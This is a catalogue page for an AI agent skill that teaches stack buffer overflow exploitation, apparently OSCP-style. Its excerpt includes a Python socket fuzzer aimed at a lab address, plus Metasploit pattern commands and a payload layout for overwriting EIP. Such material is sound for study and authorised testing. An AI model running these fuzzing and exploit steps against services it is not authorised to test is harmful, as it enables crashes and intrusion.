buffer-overflow-stack

buffer-overflow-stack is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 86 tokens per session (2,158 once invoked), scanned A, original, MIT.

A guide to finding and exploiting stack-based buffer overflows in 32-bit and 64-bit programs. A buffer overflow happens when an input overwrites memory beyond the space reserved for it.

In plain words
What is it for?
Use it during reverse engineering and exploit development for local programs, network services, and proprietary applications, with debuggers and tools such as pwntools.
Why use it?
It helps turn a crashing program into an understood memory-corruption bug by locating the overwrite, controlling execution, and accounting for the target's architecture and protections.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Not installable on its own: it reads a path above its own folder, which only exists inside its repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Install

Getting it into your agent

There is no command for this one: it runs only inside a plugin, and the catalogue could not identify which plugin ships it. The source is linked below.

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for buffer-overflow-stack

README.md
[![agentmods](https://agentmods.dev/badge/skills/shulkwisec/bb-huge/buffer-overflow-stack.svg)](https://agentmods.dev/skills/shulkwisec/bb-huge/buffer-overflow-stack)
Your own site
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/buffer-overflow-stack"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/buffer-overflow-stack.svg" alt="Measured on agentmods" height="20"></a>
Per session 86 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,158 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00086 $0.02158
Opus 5 $0.00043 $0.01079
Sonnet 5 $0.00017 $0.00432
Haiku 4.5 $0.00009 $0.00216

Measured 2d ago against content hash 78c8d5836688, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-06, from the pricing page.

Security

Grade A, and why

buffer-overflow-stack scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

Copies of this mod

1 near-identical copy found in the catalogue:

skills/curated/buffer-overflow-stack/SKILL.md · 197 lines

How it starts

The opening of the file, as written. The whole thing — 197 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Buffer Overflow (Stack-Based)

When to Use

  • When discovering undocumented memory corruption vulnerabilities in proprietary network services, thick clients, or local binaries.
  • During Exploit Development and Reverse Engineering tasks.
  • When adapting public PoCs (Proof of Concepts) to bypass specific mitigations or target different OS versions.
  • Required foundational knowledge for advanced certifications (OSCP, OSCE, etc.).

Prerequisites

  • Vulnerable target application binary (32-bit or 64-bit) for testing
  • Debugger configured: Immunity Debugger + Mona.py (Windows) or GDB + pwndbg (Linux)
  • Python 3 with pwntools library installed (pip install pwntools)
  • Understanding of x86/x64 assembly, calling conventions, and memory layout

Workflow

Phase 1: Fuzzing & Crash Identification

# Concept: Send progressively larger inputs to the target application
# until it crashes, indicating we overwrote the bounds of a buffer.

import socket, time, sys

ip = "10.10.10.10"
port = 9999
timeout = 5

# Create an array of increasing length strings
buffer = []
counter = 100
while len(buffer) < 30:
    buffer.append("A" * counter)
    counter += 100

for string in buffer:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        s.connect((ip, port))
        s.recv(1024)
        print(f"Fuzzing with {len(string)} bytes")
        s.send(bytes("COMMAND " + string + "\r\n", "latin-1"))
        s.recv(1024)
        s.close()
    except:
        print(f"Could not connect, server likely crashed at {len(string)} bytes.")
        sys.exit(0)
    time.sleep(1)

# Note the approx byte size where the crash occurred (e.g., 2000 bytes)

Phase 2: Finding the Offset (Controlling EIP/RIP)

# Concept: Find EXACTLY which bytes in our buffer overwrite the Instruction Pointer (EIP in 32-bit).

# 1. Generate a unique cyclic pattern using Metasploit
msf-pattern_create -l 2400

# 2. Update exploit script to send this pattern instead of 'A's.
# 3. Crash the application while attached to a debugger (Immunity Debugger / GDB).
# 4. Check the value stored in EIP at the time of the crash (e.g., 356b4234).

# 5. Find the exact offset length
msf-pattern_offset -l 2400 -q 356b4234
# Output: Exact match at offset 2003

# 6. Verify control:
# payload = "A" * 2003 + "B" * 4 + "C" * (2400 - 2003 - 4)
# EIP should now cleanly equal 42424242 (BBBB)

Read the full file on GitHub · 197 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 197 lines · 86 tokens per session scan A 78c8d5836688

Subscribe to this mod's changes

buffer-overflow-stack is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 1mo ago), licensed MIT. It adds 86 tokens to every session and 2,158 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.